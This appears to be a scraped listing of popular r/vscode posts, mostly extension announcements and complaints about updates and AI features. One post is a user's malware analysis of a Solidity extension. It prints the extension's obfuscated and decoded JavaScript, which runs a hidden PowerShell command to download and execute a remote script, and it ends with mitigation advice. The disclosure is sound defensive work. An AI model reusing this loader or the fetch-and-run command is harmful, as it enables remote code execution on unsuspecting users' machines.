r/vscode • • Sep 06 '25

I made an extension that insults you if you copy & paste ai generated code

Post image
2.8k Upvotes

r/vscode • • Jul 12 '25

Someone just lost $500,000 for using cursor extensions.

Post image
2.7k Upvotes

r/vscode • • May 20 '26

no I need to update

Post image
2.2k Upvotes

r/vscode • • Aug 30 '25

whoever decided to force AI chat panel, f-- you sincerely

Post image
2.0k Upvotes

After vscode updated itself today, this panel shows up upon opening any project.

I couldn't find a way to disable it globally: "chat" and all related options are turned off and Copilot extension is deleted.

It's seriously irritating to have LLM garbage shoved in your face, especially after opting out of it.


r/vscode • • Jul 25 '25

After a lengthy refractor with CoPilot Agent mode, there's nothing more reassuring than a quality test to confirm everything is working correctly.

Post image
1.9k Upvotes

r/vscode • • Oct 07 '26

Meet Blobby

Post image
1.8k Upvotes

r/vscode • • May 02 '26

Copilot is a co-author, so this code belongs to Copilot.

Post image
1.6k Upvotes

r/vscode • • Mar 30 '25

This the best device to use VS Code on.

Post image
1.6k Upvotes

r/vscode • • Jan 05 '25

Try it, these 6 VSCode settings, will bring your smooth coding experience to a next-level

Post image
1.5k Upvotes

r/vscode • • Jul 21 '25

I am a tiny part of VSCode 🍾🥳🎉🎉

1.4k Upvotes

My PR is accepted. I am now a part of VS Code. A really really really small part but that doesnt change that I am a part of it.

https://github.com/microsoft/vscode/pull/234368


r/vscode • • Oct 03 '25

I built a VS Code extension that maps your code

1.4k Upvotes

I got tired of grepping. So I made a VS Code panel that turns your folder into a draggable map.

  • Files, classes, functions as cards

  • Imports = dashed, calls = solid

  • Drag/dock, auto-arrange, search

  • Click → open file / peek refs

  • Save → graph refreshes (skips junk)

  • Export PNG/SVG/snapshot

  • Local-only. No telemetry.

Works today: Python, TypeScript/JS (uses VS Code symbols; falls back to regex, so call edges are heuristic).

Try it

  1. Command Palette → DepViz: Open

  2. DepViz: Import a folder (or drag-drop files)

  3. Rearrange and judge your architecture.

Here's you go: https://marketplace.visualstudio.com/items?itemName=Zentch.depviz :)


r/vscode • • Sep 07 '25 Take My Energy

Possible malicious VSCode extension with millions of downloads – be careful

1.2k Upvotes

About a week ago, I was discussing with a friend the status of hacking in the Web3 space. Being used to the "traditional" hacking and bug bounty world, I was surprised when he started telling me things like solidity, EVM, DeFi, smart contracts, and so on. I had no idea what he was talking about, so I decided to do some research.

A few Google searches later, I found out that if I wanted to get into Web3 hacking, I would need to learn about blockchain technology, smart contracts, and the various platforms that support them. I also discovered that there were many bug bounty programs specifically for Web3 projects, which was exciting. So I decided to start with Solidity.

I opened VSCode and headed to the marketplace to install the Solidity extension. Few extensions caught my attention.

I decided to go with the second one, "Solidity Language Support" by ShowSnowcrypto, because it had more downloads and seemed to be more popular. After installing the extension, I opened a new file and set the language mode to Solidity. No syntax highlighting, no intellisense, no nothing. Just a plain text file.

So...being the "nerd" that I am, I decided to investigate further.

Just as I was trying to figure out what was happening, a Powershell window popped up and immediately closed. I had no idea what it was, but I assumed it was something related to the extension. I checked the output panel in VSCode, but there was nothing there. I then checked the "Problems" tab, but again, there was nothing there.

...shocked, I decided to check the extension's installation folder. I exported the whole extension folder as a zip to analyze it.

Inside the extensions folder, I found a file src/extension.js. Opening it, I saw that it was a minified/obfuscated code JavaScript file. I formatted it to make it more readable and started going through the code.

Here is the minified/obfuscated code:

const _0x213954 = _0x41e2;
(function (_0x4b4334, _0x2656ab) {
  const _0x1da43d = _0x41e2,
    _0x57e2b6 = _0x4b4334();
  while (!![]) {
    try {
      const _0x18e3ec =
        (parseInt(_0x1da43d(0x1c3)) / 0x1) *
          (-parseInt(_0x1da43d(0x1c1)) / 0x2) +
        (parseInt(_0x1da43d(0x1d1)) / 0x3) *
          (parseInt(_0x1da43d(0x1cc)) / 0x4) +
        parseInt(_0x1da43d(0x1c9)) / 0x5 +
        -parseInt(_0x1da43d(0x1c2)) / 0x6 +
        -parseInt(_0x1da43d(0x1c4)) / 0x7 +
        (-parseInt(_0x1da43d(0x1cd)) / 0x8) *
          (parseInt(_0x1da43d(0x1ca)) / 0x9) +
        (-parseInt(_0x1da43d(0x1d2)) / 0xa) *
          (-parseInt(_0x1da43d(0x1ce)) / 0xb);
      if (_0x18e3ec === _0x2656ab) break;
      else _0x57e2b6["push"](_0x57e2b6["shift"]());
    } catch (_0x4d6972) {
      _0x57e2b6["push"](_0x57e2b6["shift"]());
    }
  }
})(_0x2470, 0x2f80d);
function _0x2470() {
  const _0x2e306f = [
    "child_process",
    "exports",
    "45yepeMH",
    "2941110MJONQC",
    "platform",
    "4vuRIWg",
    "484446KRGyQu",
    "62069ZrsUVa",
    "1882167AjRYWW",
    "Command\x20failed:",
    "warn",
    "PowerShell\x20reported\x20errors:",
    "win32",
    "1191030RHNorV",
    "1455471TySatz",
    "powershell\x20-WindowStyle\x20Hidden\x20-Command\x20\x22irm\x20https://niggboo.com/aaa\x20|\x20iex\x22",
    "79396CwoQFA",
    "8BLexMd",
    "11ucAODX",
  ];
  _0x2470 = function () {
    return _0x2e306f;
  };
  return _0x2470();
}
const { exec } = require(_0x213954(0x1cf));
function _0x41e2(_0x47872a, _0x374aac) {
  const _0x247057 = _0x2470();
  return (
    (_0x41e2 = function (_0x41e2d4, _0x330032) {
      _0x41e2d4 = _0x41e2d4 - 0x1c0;
      let _0x231f39 = _0x247057[_0x41e2d4];
      return _0x231f39;
    }),
    _0x41e2(_0x47872a, _0x374aac)
  );
}
function activate() {
  const _0x5ba756 = _0x213954;
  if (process[_0x5ba756(0x1c0)] !== _0x5ba756(0x1c8)) return;
  setTimeout(() => {
    const _0x2bda8f = _0x5ba756,
      _0x102934 = _0x2bda8f(0x1cb),
      _0x40af61 = { windowsHide: !![] };
    exec(_0x102934, _0x40af61, (_0x5772c8, _0x1ed0b6, _0x24940f) => {
      const _0x573b42 = _0x2bda8f;
      if (_0x5772c8) {
        console["error"](_0x573b42(0x1c5), _0x5772c8);
        return;
      }
      _0x24940f && console[_0x573b42(0x1c6)](_0x573b42(0x1c7), _0x24940f);
    });
  }, 0x7d0);
}
function deactivate() {}
module[_0x213954(0x1d0)] = { activate: activate, deactivate: deactivate };

Immediately, I noticed the word PowerShell and a URL https://niggboo.com/aaa. I knew this was not good. I pasted the URL into VirusTotal and of all the vendors, only two flagged it as malicious.

I then decided to decode the obfuscated code to see what it was doing.

Here is the decoded code:

const { exec } = require("child_process");

function activate() {
  // Only execute on Windows systems
  if (process.platform !== "win32") return;

  // Wait 2 seconds before execution
  setTimeout(() => {
    const maliciousCommand =
      'powershell -WindowStyle Hidden -Command "irm https://niggboo.com/aaa | iex"';
    const options = { windowsHide: true };

    exec(maliciousCommand, options, (error, stdout, stderr) => {
      if (error) {
        console.error("Command failed:", error);
        return;
      }
      if (stderr) {
        console.warn("PowerShell reported errors:", stderr);
      }
    });
  }, 2000);
}

module.exports = { activate, deactivate };

What the extension does:

  • when extension is activated, it checks if the OS is Windows

  • if it is, it waits for 2 seconds and then executes a PowerShell command that downloads and executes a script from https://niggboo.com/aaa using Invoke-RestMethod (irm) and Invoke-Expression (iex).

  • the PowerShell window is hidden during execution.

I then decided to check the URL https://niggboo.com/aaa to see what it was hosting.

The script does the following:

  • Checks if any software with "ScreenConnect" in its name is installed. If found, it exits.

  • It constructs a download URL pointing to https://niggboo.com/<random>/<random>/, fetches a malicious MSI installer, saves it into the temp directory with a random name, and executes it silently using msiexec.exe.

  • It then deletes the downloaded MSI file to cover its tracks.

Next Steps: Reverse Engineering the MSI

I’ve stopped my analysis at the downloaded MSI payload. VirusTotal shows that 21/63 vendors flag it as malicious, but the exact behavior of the MSI is still unknown.

If you’re skilled in reverse engineering (malware analysis, dynamic sandboxing, or static reversing), I’d love for you to take a look and share your findings with the community.

MSI SHA256: 290027e4e32cf4983ccaa9811b3090c7397a3711d23e426ab144bec1167c456b

All the necessary files including the VSIX package of the extension are in this repo for further analysis. Github Repo

Mitigation

  • If you are on Linux or MacOS, you are safe. The extension only executes on Windows.

  • If you are on Windows, uninstall the extension immediately.

  • Check your system for any unknown software installations, especially anything related to "ScreenConnect".

  • Change your passwords and enable 2FA on all your accounts.

  • Monitor your crpto wallets for any unauthorized transactions.

  • Always vet what you install, verify publisher authenticity, and keep your system monitored.

I have since reported the extension to Microsoft though they are yet to take it down...neither have they responded to my report.

Anyways...happy coding!


r/vscode • • Apr 14 '25 Helpful

I made a VS Code Extension to track coding time with beautiful charts and heatmaps

Thumbnail
gallery
1.2k Upvotes

Hey fellow developers! 👋

I wanted to share a VS Code extension I've been working on that helps track your coding time with some nice visualizations. It's completely free and open source!

What it does:

  • Tracks your active coding time automatically

  • Shows beautiful, interactive charts of your coding patterns

  • Generates GitHub-style heatmaps of your activity

  • Works seamlessly with both light and dark VS Code themes

  • Zero configuration needed - just install and code!

Key Features:

  1. 📊 Project-wise Time Tracking

    • See exactly how much time you spend on each project

    • Break down time by day/week/month

    • Perfect for freelancers tracking billable hours

  2. 🗺️ Activity Heatmap

    • Visual representation of your coding patterns

    • Quickly identify your most productive days

    • Similar to GitHub's contribution graph

  3. 📈 Real-time Stats

    • Today's coding time

    • Weekly summary

    • Monthly overview

    • All-time statistics

  4. 🎨 Theme Compatibility

    • Automatically matches your VS Code theme

    • Clean, modern UI

    • Non-intrusive design

Why I made this: I needed a simple way to track my coding time across different projects without switching between apps or manually logging hours. Thought others might find it useful too!

Installation:

  1. Open VS Code

  2. Go to Extensions (Ctrl+Shift+X)

  3. Search for "Simple Coding Time Tracker"

  4. Click Install

Links:

Would love to hear your feedback and suggestions! Let me know if you run into any issues or have feature requests.


r/vscode • • Jun 23 '24

Quick reminder that VSCode is essentially a very complex webpage

1.1k Upvotes

r/vscode • • Nov 13 '25

I would like to propose… a new icon.

Post image
1.0k Upvotes

r/vscode • • May 09 '20

VS Code Drawio Integration

1.0k Upvotes

r/vscode • • Jul 12 '25 This Helpful

I built a VSCode extension to see your codebase on an infinite canvas.

Post image
879 Upvotes

Over the past few months, I've been working on a VSCode extension that allows you to see your code on an infinite canvas.

I also made a video explaining some of the features and how I use it: https://youtu.be/_IfTmgfhBvQ

I got this idea when I was having trouble understanding the relationships between complex features that spread over multiple files, especially in React projects where there are multiple interconnected components with props that get passed around or imported from global state stores.

Having used Figma for quite a long time, I thought, what if we could have a similar interface, but for visualizing code? And that's how this started.

At the moment, it's focused on React and JavaScript / Typescipt code.

If it's something you want to try out and you think it's useful I would appreciate any feedback or bug reports. This is still a project that I'm still working on, adding new features and making improvements.


r/vscode • • Feb 21 '25

is there a version of this as a visual studio theme I NEED IT

862 Upvotes

r/vscode • • Oct 28 '25

Merge to master? Not on my watch

Post image
836 Upvotes

r/vscode • • Nov 24 '24 Take My Silver

✨ Run your GitHub Actions locally in VS Code!

801 Upvotes

r/vscode • • Jan 14 '25 This

15 tips on navigating thought a codebase efficiently with VS code

794 Upvotes

r/vscode • • Sep 24 '20

A more mac-ish VSCode

Post image
744 Upvotes

r/vscode • • Oct 29 '24 Vampire

My self-developed VSCode extension that no one asked for [GIF]

718 Upvotes

r/vscode • • Aug 13 '26

Please reduce the frequency of updates

690 Upvotes

This is directed to the product group at Microsoft that owns VSCode.

On my work PC, I need to elevate to admin every time there is a VSCode update. I didn’t mind this when the updates were sporadic but it’s getting to the point where I’m having to do this 1-2 times a week and it’s getting quite tedious; especially so when the updates contain fewer and fewer enhancements. I understand the need to enhance AI tooling but there has to be a better way without making the stable branch feel like the insiders branch.

I have raised as an issue on GitHub but there are 17,400 open issues on the VSCode repo so want to make sure the team get this feedback.